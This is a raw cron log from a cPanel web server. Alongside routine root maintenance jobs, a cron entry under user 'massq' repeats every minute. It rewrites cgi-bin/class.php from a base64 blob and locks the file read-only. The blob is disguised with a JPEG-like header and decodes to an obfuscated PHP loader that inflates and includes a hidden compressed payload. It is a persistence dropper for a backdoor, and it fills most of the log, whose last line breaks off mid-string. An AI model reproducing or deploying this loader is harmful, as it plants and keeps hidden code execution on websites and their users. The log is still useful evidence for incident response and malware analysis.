Apr  6 14:05:01 server CROND[4335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:05:01 server CROND[4337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:05:01 server CROND[4336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:06:01 server CROND[4466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:07:01 server CROND[4517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:08:01 server CROND[4569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:09:01 server CROND[4643]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 14:09:01 server CROND[4644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:10:01 server CROND[4816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:10:01 server CROND[4815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:10:01 server CROND[4817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:10:01 server CROND[4818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 14:11:01 server CROND[4941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:12:01 server CROND[5047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:12:01 server CROND[5048]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 14:13:01 server CROND[5101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:14:01 server CROND[5198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:15:01 server CROND[5362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:15:01 server CROND[5363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:15:01 server CROND[5364]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 14:15:01 server CROND[5365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:16:01 server CROND[5538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:17:01 server CROND[5599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:18:01 server CROND[5649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoq